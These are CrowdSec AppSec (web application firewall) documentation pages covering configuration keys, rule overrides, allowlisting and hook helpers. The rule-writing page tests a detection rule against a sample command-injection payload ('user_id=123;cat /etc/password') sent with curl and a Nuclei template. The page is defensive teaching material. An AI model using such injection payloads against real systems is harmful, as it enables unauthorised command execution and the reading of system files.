Common values include `ban` (block) and `captcha` (challenge), depending on what your remediation component supports.

:::info
When using multiple AppSec configs, the last declared one takes precedence for this property.
:::

```yaml
default_remediation: ban
```

### default_pass_action

> string

Action for requests that do not match any rules, or match rules with pass actions.

:::info
When using multiple AppSec configs, the last declared one takes precedence for this property.
:::

```yaml
default_pass_action: allow
```

### blocked_http_code

> integer

HTTP status code returned to the remediation component when a request is blocked.

```yaml
blocked_http_code: 403
```

### passed_http_code

> integer

HTTP status code returned to the remediation component when a request is allowed.

```yaml
passed_http_code: 200
```

### user_blocked_http_code

> integer

HTTP status code returned to the end user when a request is blocked.

```yaml
user_blocked_http_code: 403
```

### user_passed_http_code

> integer

HTTP status code returned to the end user when a request is allowed.

```yaml
user_passed_http_code: 200
```

### inband_options

> object

Performance tuning options for in-band rule processing.

- `disable_body_inspection` (bool): Skip HTTP body inspection.
- `request_body_in_memory_limit` (integer): Max body size in memory (bytes, default: 1048576).

```yaml
inband_options:
  disable_body_inspection: false
  request_body_in_memory_limit: 1048576
```

:::note
`request_body_in_memory_limit` is a Coraza-level setting. It is distinct from the engine's overall maximum body size, which bounds how much of the body CrowdSec buffers before any rule runs (defaults to 10MB). See [Request body size handling](hooks.md#request-body-size-handling) to tune it.
:::

### outofband_options

> object

Performance tuning options for out-of-band rule processing.

- `disable_body_inspection` (bool): Skip HTTP body inspection.
- `request_body_in_memory_limit` (integer): Max body size in memory (bytes, default: 1048576).

```yaml
outofband_options:
  disable_body_inspection: false
  request_body_in_memory_limit: 1048576
```

### log_level

> string

Logging verbosity for this configuration. Available levels: `debug`, `info`, `warn`, `error`.

```yaml
log_level: info
```

### inband

> object

Rules, hooks and options scoped to the in-band pass. Accepted keys:

- `rules` (array of strings): same as [`inband_rules`](#inband_rules); both lists are merged.
- `pre_eval`, `post_eval`, `on_match` (arrays): hooks that run only during the in-band pass. See [AppSec Hooks](hooks.md).
- `on_challenge`, `on_challenge_submit` (arrays): challenge hooks, which only exist in-band. See [Bot detection hooks](bot_detection/hooks.md).
- `options` (object): same as [`inband_options`](#inband_options).
- `variables_tracking` (array of strings): tracked variables. They are global, so scoping them to a phase has no effect.

```yaml
inband:
  rules:
    - crowdsecurity/base-config
  pre_eval:
    - filter: req.RemoteAddr == "192.168.1.100"
      apply:
        - RemoveInBandRuleByName("strict-rule")
  options:
    disable_body_inspection: false
```

### outofband

> object

Same keys as [`inband`](#inband), applied to the out-of-band pass, except `on_challenge` and `on_challenge_submit`: challenges are in-band only.

### on_load

> array

Executed when the configuration is loaded. Typically used for global rule changes. Not phase-scoped: it runs once at startup, so it has no `inband` / `outofband` equivalent.

```yaml
on_load:
  - apply:
      - RemoveInBandRuleByName("problematic-rule")
```

### pre_eval

> array

Executed before rule evaluation for each request. Declared at the top level, it runs in both passes, hence the `IsInBand` filter below. Use [`inband`](#inband) / [`outofband`](#outofband) to target a single pass.

```yaml
pre_eval:
  - filter: IsInBand && req.RemoteAddr == "192.168.1.100"
    apply:
      - RemoveInBandRuleByName("strict-rule")
```

### post_eval

> array

Executed after rule evaluation. Useful for debugging and analysis. Runs in both passes, like [`pre_eval`](#pre_eval).

```yaml
post_eval:
  - filter: IsInBand
    apply:
      - DumpRequest().WithBody().ToJSON()
```

### on_match

> array

Executed when rules match. Used to adjust remediation or generate custom alerts. Runs in both passes, like [`pre_eval`](#pre_eval).

```yaml
on_match:
  - filter: req.Host == "staging.example.com"
    apply:
      - SetRemediation("allow")
      - CancelAlert()
```

For complete hook documentation, see [AppSec Hooks](hooks.md).

### data

> array

Declares datafiles the appsec-config needs. When the config is installed from the hub, `cscli` downloads each `source_url` into `dest_file` (relative to the data directory). The bot-detection exclude-configs use this to ship the known-bot definitions consulted by [`MatchKnownBot`](bot_detection/hooks.md#known-bots), with `type: bots`.

```yaml
data:
  - source_url: https://hub-data.crowdsec.net/whitelists/benign_bots/legit_bots/gptbot.json
    dest_file: legit_bots/gptbot.json
    type: bots
```

---

## File: crowdsec-docs/docs/appsec/configuration_creation_testing.md

---
id: configuration_creation_testing
title: "AppSec Configuration Creation & Testing"
sidebar_label: "Creation & Testing"
sidebar_position: 3
---

## AppSec Acquisition

The acquisition file is used to:
- Specify the **address** and **port** where AppSec-enabled remediation components forward requests.
- Specify one or more AppSec configuration files that define which rules to apply and how.

Details can be found in the [AppSec Datasource page](/log_processor/data_sources/appsec.md).

### Defining Multiple AppSec Configurations

Often you will want multiple AppSec configurations to define groups of rules that are handled the same way.

Use the `appsec_configs` parameter to load multiple configurations that work together.

In the following example we have two configurations:
- One with [CrowdSec default AppSec rules ↗️](https://app.crowdsec.net/hub/author/crowdsecurity/waf-configurations/appsec-default) running in in-band mode
- The other for the [CRS rules ↗️](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) that run in out-of-band mode by default

```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
appsec_configs:
  - crowdsecurity/appsec-default    # In-band virtual patching
  - crowdsecurity/crs               # Out-of-band detection based on ModSec CRS - from crowdsecurity/appsec-crs collection
labels:
  type: appsec
listen_addr: 127.0.0.1:7422
source: appsec
```

:::info
CrowdSec AppSec collections are available on [CrowdSec Hub ↗️](https://app.crowdsec.net/hub/collections?filters=search%3Dappsec) and kept up to date.

For example the CRS collection: `sudo cscli collections install crowdsecurity/appsec-crs`.
This collection installs OWASP CRS in out-of-band and adds a scenario to ban IPs triggering multiple rules.
:::

### Using Custom Configurations

If you want to alter default configuration files, create a new configuration file instead of modifying hub configurations.
Modifying hub configurations will make them *tainted* and prevent automatic updates.

For example, if you want to change the default vpatch rules config, create your own and use it instead in the acquisition file.

```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
appsec_configs:
  - crowdsecurity/appsec-default
  - custom/my_vpatch_rules
labels:
  type: appsec
listen_addr: 127.0.0.1:7422
source: appsec
```

A custom configuration file could look like this:

```yaml title="/etc/crowdsec/appsec-configs/my_vpatch_rules.yaml"
name: custom/my_vpatch_rules
default_remediation: ban
inband_rules:
  - custom/custom-vpatch-*
# Add custom hooks as needed
```

## AppSec Configuration Files

AppSec configuration files declare **which rules to load** in **in-band** *(blocking)* and/or **out-of-band** *(non-blocking)* mode, define how matches are handled (for example, default remediation), and let you tweak processing via hooks like `on_load`, `pre_eval`, `post_eval`, and `on_match`.

For the full list of keys, see [Configuration Syntax](configuration.md).

:::info
When loading multiple AppSec configs, _hooks_ and _appsec rules_ are appended, and for conflicting options (for example, `default_remediation`), the last one takes precedence.
:::

### Configuration Processing Order

When multiple AppSec configurations are loaded, they are processed in the order specified in the `appsec_configs` list. For details on how in-band and out-of-band rules work, see the [AppSec Introduction](intro.md#inband-rules-and-out-of-band-rules).

### Multi-Config Rule Evaluation

1. All `inband_rules` from all configurations are combined and evaluated together
2. All `outofband_rules` from all configurations are combined and evaluated together
3. Hooks from all configurations are executed in the order the configurations are listed
4. For conflicting configuration options (like `default_remediation`), the last configuration's value takes precedence

## Testing Changes

After updating AppSec configuration files:

1. Reload CrowdSec so it picks up the new configuration.
2. Validate behavior with your usual test traffic, or use the [generic AppSec test rule](https://app.crowdsec.net/hub/author/crowdsecurity/waf-rules/appsec-generic-test).
3. Inspect results in logs or via `cscli metrics show appsec`.

For more troubleshooting guidance, see [AppSec Troubleshooting](troubleshooting.md).

---

## File: crowdsec-docs/docs/appsec/configuration_rule_management.md

---
id: configuration_rule_management
title: Allowlisting and Rule Overrides
sidebar_position: 3
---

## Disabling Rules at Runtime

You can disable rules at runtime, either globally (for all requests) or based on specific conditions (source IP, URI, ...).

You can disable rules by:
 - Name with `RemoveInBandRuleByName`: For CrowdSec rules (name as seen in `cscli appsec-rules list`)
 - ID with `RemoveInBandRuleByID`: For seclang/ModSecurity rules by numeric ID
 - Tag with `RemoveInBandRuleByTag`: For seclang/ModSecurity rules by tag

The same functions exist for out-of-band rules, prefixed with `RemoveOutBandRuleBy...`

To disable a rule, create a new AppSec config to avoid tainting the configuration from the hub (or update your existing custom configuration).

```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml"
name: custom/my_config
on_load:
 - apply:
    - RemoveInBandRuleByName("crowdsecurity/vpatch-env-access")
inband:
  pre_eval:
    - filter: req.URL.Path startsWith "/bar/"
      apply:
        - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php")
```

This example uses [hooks](hooks.md) to modify the configuration in 2 places:
 - `on_load`: Expressions here will be applied when CrowdSec loads the configuration, effectively disabling the rule `crowdsecurity/vpatch-env-access` globally.
 - `inband.pre_eval`: Expressions here will be applied only if the provided filter matches, and only during the in-band pass. In this example, we are disabling the rule `crowdsecurity/generic-wordpress-uploads-php` only if the request URI starts with `/bar/`.

You can also disable native (seclang) rules by providing their ID with the `RemoveInBandRuleByID` helper. See the [hooks](hooks.md) documentation for a list of available helpers.

Also note that we are not loading any rules in our custom config: the rules are loaded by the `crowdsecurity/appsec-default` config, and we are just modifying the runtime behavior with this config.

Finally, add your new config to the acquisition configuration:

```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
appsec_configs:
  - crowdsecurity/appsec-default
  - custom/my_config
labels:
  type: appsec
listen_addr: 127.0.0.1:7422
source: appsec
```

## Allowlisting

### Fully allow a specific IP or range

If you want to ignore all rule matches for a specific IP or range, you can use a [centralized allowlist](/local_api/allowlists.md).

The request bypasses AppSec entirely: no in-band or out-of-band rule is evaluated for that IP.

### Disable specific rules for a specific IP/range

If you want to disable rule(s) for a specific IP (or range), you will need to use the `pre_eval` hook (refer to the section above for more details):

```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml"
name: custom/my_config
pre_eval:
 - filter: req.RemoteAddr == "1.2.3.4"
   apply:
    - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php")
```

### Disable appsec for a specific FQDN

If your reverse-proxy forwards all requests to CrowdSec regardless of the FQDN, you can disable AppSec for specific domains with a custom AppSec config (the request will always be allowed):

```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml"
name: custom/my_config
on_match:
 - filter: req.Host == "foo.com"
   apply:
    - CancelEvent()
    - CancelAlert()
    - SetRemediation("allow")
```

With this config, the rules will still be evaluated, but if a rule matches no alert or event will be generated, and the remediation will be set to `allow` (i.e., instruct the bouncer to let the request through).

---

## File: crowdsec-docs/docs/appsec/create_rules.md

---
id: create_rules
title: "Writing & Testing WAF Rules"
sidebar_label: "Creation & Testing"
sidebar_position: 3
---

## Foreword

This documentation assumes you're creating an AppSec rule to submit to the Hub, along with its functional tests. Building the test first guides the process and makes it easier.

We're going to create a rule for an imaginary vulnerability: [a shell injection in the user_id parameter](https://nvd.nist.gov/vuln/detail/CVE-2022-46169) that can be triggered because [the `x-foobar-bypass` header confuses the application](https://nvd.nist.gov/vuln/detail/CVE-2023-22515).

The exploit looks like this:
`curl localhost -H "x-foobar-bypass: 1" -d "user_id=123;cat /etc/password&do=yes"`

And results in an HTTP request that looks like this:

```
POST / HTTP/1.1
...
x-foobar-bypass: 1
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

user_id=123;cat /etc/password&do=yes
```

## Prerequisites

1. [Create a local test environment](https://doc.crowdsec.net/docs/contributing/contributing_test_env) or have CrowdSec (>= 1.6.0) installed locally
2. Have Docker installed locally to run the test web server
3. Have [Nuclei installed](https://docs.projectdiscovery.io/tools/nuclei/install) (`go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest`)
4. Clone the hub

```bash
git clone https://github.com/crowdsecurity/hub.git
```

## Create our test

From the root of the hub repository:

```bash
▶ cscli hubtest create my-vuln --appsec

  Test name                   :  my-vuln
  Test path                   :  /home/bui/github/crowdsec/hub/.appsec-tests/my-vuln
  Config File                 :  /home/bui/github/crowdsec/hub/.appsec-tests/my-vuln/config.yaml
  Nuclei Template             :  /home/bui/github/crowdsec/hub/.appsec-tests/my-vuln/my-vuln.yaml

```

If you are creating a virtual-patching rule, please name your test `CVE-YYYY-XYZ` and your rule `vpatch-CVE-YYYY-XYZ`.

## Configure our test

Let's incorporate our AppSec rule into the configuration file.

> .appsec-tests/my-vuln/config.yaml

```yaml
appsec-rules:
  - ./appsec-rules/crowdsecurity/my-vuln.yaml
nuclei_template: my-vuln.yaml
```

_Note:_ Since our custom AppSec rule has not been added to the Hub yet, we need to define its path relative to the root of the Hub directory.

The `hubtest create` command created a boilerplate Nuclei template that we can edit to add our HTTP request:

> .appsec-tests/my-vuln/my-vuln.yaml

```yaml
id: my-vuln
info:
  name: my-vuln
  author: crowdsec
  severity: info
  description: my-vuln testing
  tags: appsec-testing
http:
  #this is a dummy request, edit the request(s) to match your needs
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        x-foobar-bypass: 1
        Content-Length: 36
        Content-Type: application/x-www-form-urlencoded

        user_id=123;cat /etc/password&do=yes
    cookie-reuse: true
    #test will fail because we won't match http status
    matchers:
      - type: status
        status:
          - 403
```

A few notes about [the nuclei template](https://docs.projectdiscovery.io/templates/introduction):

- The template expects to get a `403` from the server. It's how `hubtest` can tell if the request was caught.
- To capture the HTTP request, running your exploit against a `nc` running locally can be useful:

`curl localhost:4245 -H "x-foobar-bypass: 1" -d "user_id=123;cat /etc/password&do=yes"`

```bash
▶ nc -lvp 4245
Listening on 0.0.0.0 4245
Connection received on localhost 50408
POST / HTTP/1.1
Host: localhost:4245
User-Agent: curl/7.68.0
Accept: */*
x-foobar-bypass: 1
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

user_id=123;cat /etc/password&do=yes

```

## Rule creation

Let's now create our AppSec rule:

> appsec-rules/crowdsecurity/my-vuln.yaml

```yaml
name: crowdsecurity/my-vuln
description: "Imaginary RCE (CVE-YYYY-XYZ)"
rules:
  - and:
      - zones:
          - METHOD
        match:
          type: equals
          value: POST
      - zones:
          - HEADERS_NAMES
        transform:
          - lowercase
        match:
          type: equals
          value: x-foobar-bypass
      - zones:
          - BODY_ARGS
        variables:
          - user_id
        match:
          type: regex
          value: "[^a-zA-Z0-9_]"
labels:
  type: exploit
  service: http
  confidence: 3
  spoofable: 0
  behavior: "http:exploit"
  label: "Citrix RCE"
  classification:
    - cve.CVE-YYYY-XYZ
    - attack.T1595
    - attack.T1190
    - cwe.CWE-284
```

Let's get over the relevant parts:

- `name` is how the alert will appear to users (in `cscli` or [the console](http://app.crowdsec.net))
- `description` is how your scenario will appear in [the hub](https://hub.crowdsec.net)
- `labels` section is used both in [the hub](https://hub.crowdsec.net) and [the console](https://app.crowdsec.net). [It must follow rules described here](/log_processor/scenarios/format.md#labels)
- `rules` describe what we want to match:
  - a [`METHOD`](rules_syntax.md#zones) [equal to `POST`](rules_syntax.md#match)
  - the presence of a header ([`HEADERS_NAME`](rules_syntax.md#zones)) with a name that once transformed to `lowercase`, is `x-foobar-bypass`
  - a post parameter (`BODY_ARGS`), `user_id` that contains something else than a-z A-Z or 0-9 or `_`

:::info
You can [find detailed rules syntax here](rules_syntax.md).
:::

## Testing

We now have the needed pieces:

- a nuclei template that simulates exploitation
- an AppSec rule to detect the vulnerability exploitation
- a test that ties both together, ensuring our rule detects our exploit

To run our test, we're going to use the provided docker-compose file. It starts an nginx server (listening on port `7822`), that will be used as a "target" for our exploitation attempt. The nginx service is configured to interact with the ephemeral crowdsec service started by `hubtest`:

> from the root of the hub repository

```bash
docker-compose -f docker/appsec/docker-compose.yaml up -d
```

Depending on how you installed `nuclei`, be sure to add it to your `$PATH`:

```bash
PATH=~/go/bin/:$PATH
```

We're now ready to go!

```bash
▶ cscli hubtest run my-vuln --appsec
INFO[2023-12-21 16:43:28] Running test 'my-vuln'
INFO[2023-12-21 16:43:30] Appsec test my-vuln succeeded
INFO[2023-12-21 16:43:30] Test 'my-vuln' passed successfully (0 assertions)
──────────────────
 Test      Result
──────────────────
 my-vuln   ✅
──────────────────

```

Congrats to you, you are now ready to make your contribution available to the crowd! Head [to our github repository, and open a PR](https://github.com/crowdsecurity/hub) (including the tests).

## Troubleshooting your tests

Things didn't work as intended?

### Startup errors

If your test doesn't work, chances are that something prevented it from running.

1. nuclei isn't in the standard PATH

You will see an error message such as: `ERRO[2023-12-21 16:43:16] Appsec test my-vuln failed:  exec: "nuclei": executable file not found in $PATH`.

2. your nuclei template isn't valid

```
WARN[2023-12-21 16:50:33] Error running nuclei: exit status 1
WARN[2023-12-21 16:50:33] Stdout saved to /.../my-vuln-1703173832_stdout.txt
WARN[2023-12-21 16:50:33] Stderr saved to /.../my-vuln-1703173832_stderr.txt
WARN[2023-12-21 16:50:33] Nuclei generated output saved to /.../my-vuln-1703173832.json
```

note that you can always run your nuclei template "manually" to debug it: `nuclei -t path/to/my-vuln.yaml -u target`

3. your AppSec rule isn't valid

CrowdSec will exit with a fatal error at startup:

```
time="2023-12-21 15:42:10" level=info msg="loading inband rule crowdsecurity/*" component=appsec_config name=appsec-test type=appsec
time="2023-12-21 15:42:10" level=error msg="unable to convert rule crowdsecurity/my-vuln : unknown zone 'BODY'" component=appsec_collection_loader name=appsec-test type=appsec
time="2023-12-21 15:42:10" level=fatal msg="crowdsec init: while loading acquisition config: while configuring datasource of type AppSec fro...
```

### Inspecting runtime logs

In case of a test failure, do not delete the `.appsec-tests/<test_name>/runtime/` folder.

Rather, inspect the files inside the `.appsec-tests/<test_name>/runtime/` folder:

- `<test_name>-<timestamp>_[stderr|stdout].txt`: These files have the output from the nuclei command. They show the response of the request, which may suggest that the request was not blocked.
- `log/crowdsec.log`: This log file is from the crowdsec that was started by `cscli hubtest`. Here, you might find errors related to CrowdSec, like problems starting or loading the AppSec Component.

---

## File: crowdsec-docs/docs/appsec/faq.md

---
id: faq
title: FAQ
sidebar_position: 5
unlisted: true
---

---

## File: crowdsec-docs/docs/appsec/hooks.md

---
id: hooks
title: "AppSec Hooks"
sidebar_label: "Hooks"
sidebar_position: 4
---

The Application Security Component lets you hook into different stages to change behavior at runtime.

Hooks run in six phases:

- `on_load`: Called just after the rules have been loaded into the engine.
- `pre_eval`: Called after a request has been received but before the rules are evaluated.
- `post_eval`: Called after the rules have been evaluated.
- `on_match`: Called after a successful match of a rule. If multiple rules match, this hook is called only once.
- `on_challenge`: Called for in-band requests carrying a valid challenge cookie, with the decoded `fingerprint` object available. See [Bot detection hooks reference](bot_detection/hooks.md#on_challenge). (In-band only.)
- `on_challenge_submit`: Called when a client POSTs a challenge response to `/crowdsec-internal/challenge/submit`, after crypto validation and fingerprint decryption. See [Bot detection hooks reference](bot_detection/hooks.md#on_challenge_submit). (In-band only.)

## Using hooks

Hooks are configured in your AppSec config file.

The `on_load` hook only supports `apply`, while other hooks support `filter` and `apply`.

Both `filter` and `apply` of the same phase have access to the same helpers.

Request hooks are declared under the phase they belong to:

```yaml
inband:
  on_match:
    - filter: 1 == 1
      apply:
        - valid expression
        - valid expression
```

If the filter returns `true`, each expression in the `apply` section is executed.

`pre_eval`, `post_eval` and `on_match` can be declared in the `inband` or the `outofband` block, and run only for the pass they belong to. `on_challenge` and `on_challenge_submit` are in-band only. `on_load` is not phase-scoped: it runs once at startup and stays at the top level.

Each hook is described once below, and behaves the same in either block.



### `on_load`

This hook is intended to be used to disable rules at loading (eg, to temporarily disable a rule that is causing false positives).

#### Available helpers

| Helper Name                    | Type                                    | Description                                                                                                                                                           |
| ------------------------------ | --------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `RemoveInBandRuleByName`       | `func(name str)`                         | Disable the named in-band rule                                                                                                                                        |
| `RemoveInBandRuleByTag`        | `func(tag str)`                         | Disable the in-band rule identified by the tag (multiple rules can have the same tag)                                                                                 |
| `RemoveInBandRuleByID`         | `func(id int)`                          | Disable the in-band rule identified by the ID                                                                                                                         |
| `RemoveOutBandRuleByName`      | `func(tag str)`                         | Disable the named out-of-band rule                                                                                                                                    |
| `RemoveOutBandRuleByTag`       | `func(tag str)`                         | Disable the out-of-band rule identified by the tag (multiple rules can have the same tag)                                                                             |
| `RemoveOutBandRuleByID`        | `func(id int)`                          | Disable the out-of-band rule identified by the ID                                                                                                                     |
| `SetRemediationByTag`          | `func(tag str, remediation string)`     | Change the remediation of the in-band rule identified by the tag (multiple rules can have the same tag)                                                               |
| `SetRemediationByID`           | `func(id int, remediation string)`      | Change the remediation of the in-band rule identified by the ID                                                                                                       |
| `SetRemediationByName`         | `func(name str, remediation string)`    | Change the remediation of the in-band rule identified by the name                                                                                                     |
| `LoadAPISchemaWithName`        | `func(ref str, filename str)`           | Load an OpenAPI schema from `<data_dir>/schemas/<filename>` and register it under `ref`. See [OpenAPI Schema Validation](api_validation.md).                          |
| `LoadAPISchemaWithOptions`     | `func(ref str, filename str, opts map)` | Same as `LoadAPISchemaWithName` but accepts per-schema policy overrides (`on_route_not_found`, `on_method_not_allowed`).                                              |
| `RegisterAPISchemaBodyDecoder` | `func(content_type str, decoder str)`   | Enable a non-default body decoder for a Content-Type. See [available decoders](api_validation.md#body-decoders).                                                      |
| `SetMaxBodySize`               | `func(size int)`                        | Set the maximum request body size (in bytes) buffered and inspected by the engine. Defaults to 10MB. See [Request body size handling](#request-body-size-handling)    |
| `SetBodySizeExceededAction`    | `func(action str)`                      | Set what happens when a request body exceeds the maximum size: `drop` (default), `partial`, or `allow`. See [Request body size handling](#request-body-size-handling) |
| `SetChallengeDifficulty`       | `func(level str)`                       | Set the default proof-of-work difficulty for every challenge served by this config. Valid levels: `"disabled"`, `"low"`, `"medium"` (default), `"high"`, `"impossible"`. See [Challenge difficulty levels](bot_detection/hooks.md#challenge-difficulty-levels). Per-request overrides are available in `pre_eval` / `post_eval` / `on_challenge`. |

##### Example

```yaml
name: crowdsecurity/my-appsec-config
default_remediation: ban
inband_rules:
  - crowdsecurity/base-config
  - crowdsecurity/vpatch-*
on_load:
  - apply:
      - RemoveInBandRuleByName("my_rule")
      - SetRemediationByTag("my_tag", "captcha")
```

### `pre_eval`

This hook is intended to be used to disable rules only for this particular request (eg, to disable a rule for a specific IP).

#### Available helpers

| Helper Name                 | Type                                 | Description                                                                                                                                                                                                                                                     |
| --------------------------- | ------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `RemoveInBandRuleByName`    | `func(tag str)`                      | Disable the named in-band rule                                                                                                                                                                                                                                  |
| `RemoveInBandRuleByTag`     | `func(tag str)`                      | Disable the in-band rule identified by the tag (multiple rules can have the same tag)                                                                                                                                                                           |
| `RemoveInBandRuleByID`      | `func(id int)`                       | Disable the in-band rule identified by the ID                                                                                                                                                                                                                   |
| `RemoveOutBandRuleByName`   | `func(tag str)`                      | Disable the named out-of-band rule                                                                                                                                                                                                                              |
| `RemoveOutBandRuleByTag`    | `func(tag str)`                      | Disable the out-of-band rule identified by the tag (multiple rules can have the same tag)                                                                                                                                                                       |
| `RemoveOutBandRuleByID`     | `func(id int)`                       | Disable the out-of-band rule identified by the ID                                                                                                                                                                                                               |
| `IsInBand`                  | `bool`                               | `true` if the request is in the in-band processing phase                                                                                                                                                                                                        |
| `IsOutBand`                 | `bool`                               | `true` if the request is in the out-of-band processing phase                                                                                                                                                                                                    |
| `SetRemediationByTag`       | `func(tag str, remediation string)`  | Change the remediation of the in-band rule identified by the tag (multiple rules can have the same tag)                                                                                                                                                         |
| `SetRemediationByID`        | `func(id int, remediation string)`   | Change the remediation of the in-band rule identified by the ID                                                                                                                                                                                                 |
| `SetRemediationByName`      | `func(name str, remediation string)` | Change the remediation of the in-band rule identified by the name                                                                                                                                                                                               |
| `req`                       | `http.Request`                       | Original HTTP request received by the remediation component                                                                                                                                                                                                     |
| `DropRequest`               | `func(reason str)`                   | Stop processing the request immediately and instruct the remediation component to block the request                                                                                                                                                             |
| `DisableBodyInspection`     | `func()`                             | Skip body inspection for the current request (also bypasses the maximum body size check). See [Request body size handling](#request-body-size-handling)                                                                                                         |
| `ValidateRequestWithSchema` | `func(ref str) bool`                 | Validate the current request against an OpenAPI schema previously loaded under `ref` (returns `true` on success). On failure, structured details are published to `hook_vars` (see [OpenAPI Schema Validation](api_validation.md#validation-result-variables)). |
| `hook_vars`                 | `map[string]string`                  | Per-request scratch space shared with later hooks and propagated to the resulting event. Helpers such as `ValidateRequestWithSchema` publish their results here.                                                                                                |
| `GrantChallengeCookie`      | `func(reason str, ttl str?)`         | Mint a valid challenge cookie for this client (allowlist escape hatch for trusted user-agents or internal probes). `reason` is recorded in logs (≤256 bytes); optional `ttl` (a Go duration like `"24h"`) overrides the configured `cookie_ttl`.                 |
| `SetChallengeDifficulty`    | `func(level str)`                    | Override the proof-of-work difficulty for this request. Valid levels: `"disabled"`, `"low"`, `"medium"` (default), `"high"`, `"impossible"`. See [Challenge difficulty levels](bot_detection/hooks.md#challenge-difficulty-levels).                                                    |
| `MatchKnownBot`             | `func(ip str, ua str, path str, ...files str) bool` | `true` if the request matches a bot definition in one of the named `files` (verified by IP range or forward-confirmed reverse DNS). Used to skip the challenge for known-good crawlers. See [Known bots](bot_detection/hooks.md#known-bots).                          |
| `ExemptFromChallenge`       | `func(reason str)`                   | Exempt the current request from the challenge without minting a cookie (this request only). `reason` labels the exemption in logs and metrics. See [Known bots](bot_detection/hooks.md#known-bots).                                                                                    |
| `HasValidChallengeCookie`   | `func() bool`                        | `true` if the request has already cleared the challenge: it presented a valid `__crowdsec_challenge` cookie, or an earlier hook exempted it. A cookie minted during this very request does not count. See [`HasValidChallengeCookie`](bot_detection/hooks.md#hasvalidchallengecookie).           |
| `SetRemediation`            | `func(remediation str)`              | Pre-set the remediation applied **if** this request ends up being blocked (a rule matches, or `DropRequest()` fires). It does not block the request on its own. See [`SetRemediation*`](#setremediation)                                                                          |
| `SetReturnCode`             | `func(code int)`                     | Pre-set, in the same way, the HTTP code returned to the user if the request ends up being blocked                                                                                                                                                                                |
| `fingerprint`               | `object`                             | The decoded challenge fingerprint when the request carries a valid challenge cookie (`on_challenge` runs before `pre_eval` and populates it), `nil` otherwise. See [The `fingerprint` object](bot_detection/hooks.md#the-fingerprint-object).                                     |
| Score helpers               |                                      | `AddRequestScore`, `RequestScore`, `RequestScoreReasons`, `RequestScoreDetail`, `RequestScoreFor` accumulate a per-request score you can act on later. See [Request scoring](bot_detection/hooks.md#request-scoring).                                                                   |

#### Example

```yaml
name: crowdsecurity/my-appsec-config
default_remediation: ban
inband:
  rules:
    - crowdsecurity/base-config
    - crowdsecurity/vpatch-*
  pre_eval:
    - filter: req.RemoteAddr == "192.168.1.1"
      apply:
        - RemoveInBandRuleByName("my_rule")
```

### `post_eval`

This hook is mostly intended for debugging or threat-hunting purposes.

#### Available helpers

| Helper Name              | Type                          | Description                                                                                                                                                                                                                                                     |
| ------------------------ | ----------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `IsInBand`               | `bool`                        | `true` if the request is in the in-band processing phase                                                                                                                                                                                                        |
| `IsOutBand`              | `bool`                        | `true` if the request is in the out-of-band processing phase                                                                                                                                                                                                    |
| `DumpRequest`            | `func()`                      | Dump the request to a file                                                                                                                                                                                                                                      |
| `DumpFingerprint`        | `func(label str) str`         | Append the decoded challenge fingerprint (plus request context) as one JSONL line to a dump file, for offline analysis. Returns the file path. See [DumpFingerprint](bot_detection/hooks.md#dumpfingerprint).                                                                          |
| `req`                    | `http.Request`                | Original HTTP request received by the remediation component                                                                                                                                                                                                     |
| `SendChallenge`          | `func()`                      | Instruct the AppSec component to serve a JavaScript challenge for this request. No-op if the request already carries a valid challenge cookie. See [Bot detection](bot_detection/intro.md).                                                                     |
| `GrantChallengeCookie`   | `func(reason str, ttl str?)`  | Mint a valid challenge cookie for this client (allowlist escape hatch for trusted user-agents or internal probes). `reason` is recorded in logs (≤256 bytes); optional `ttl` (a Go duration like `"24h"`) overrides the configured `cookie_ttl`.                 |
| `SetChallengeDifficulty` | `func(level str)`             | Override the proof-of-work difficulty for this request. Valid levels: `"disabled"`, `"low"`, `"medium"` (default), `"high"`, `"impossible"`. See [Challenge difficulty levels](bot_detection/hooks.md#challenge-difficulty-levels).                                                    |
| `MatchKnownBot`          | `func(ip str, ua str, path str, ...files str) bool` | `true` if the request matches a bot definition in one of the named `files` (verified by IP range or forward-confirmed reverse DNS). See [Known bots](bot_detection/hooks.md#known-bots).                                                                       |
| `ExemptFromChallenge`    | `func(reason str)`            | Exempt the current request from the challenge without minting a cookie (this request only). `reason` labels the exemption in logs and metrics. See [Known bots](bot_detection/hooks.md#known-bots).                                                                                    |
| `HasValidChallengeCookie` | `func() bool`               | `true` if the request has already cleared the challenge: it presented a valid `__crowdsec_challenge` cookie, or an earlier hook exempted it. A cookie minted during this very request does not count. See [`HasValidChallengeCookie`](bot_detection/hooks.md#hasvalidchallengecookie).                          |
| `fingerprint`            | `object`                      | The decoded challenge fingerprint when the request carries a valid challenge cookie, `nil` otherwise. See [The `fingerprint` object](bot_detection/hooks.md#the-fingerprint-object).                                                                                             |
| `hook_vars`              | `map[string]string`           | Per-request scratch space shared with the other hooks and propagated to the resulting event                                                                                                                                                                                     |
| Score helpers            |                               | `AddRequestScore`, `RequestScore`, `RequestScoreReasons`, `RequestScoreDetail`, `RequestScoreFor` accumulate a per-request score you can act on later. See [Request scoring](bot_detection/hooks.md#request-scoring).                                                                   |

#### DumpRequest

In order to make `DumpRequest` write your request to a file, you have to call `DumpRequest().ToJSON()`, which will create a file in the OS temporary directory (eg, `/tmp` on Linux) with the following format: `crowdsec_req_dump_<RANDOM_PART>.json`.

You can configure what is dumped with the following options:

- `DumpRequest().NoFilters()`: Clear any previous filters (ie. dump everything)
- `DumpRequest().WithEmptyHeadersFilters()`: Clear the headers filters, ie. dump all the headers
- `DumpRequest().WithHeadersContentFilter(regexp string)`: Add a filter on the content of the headers, ie. dump only the headers that _do not_ match the provided regular expression
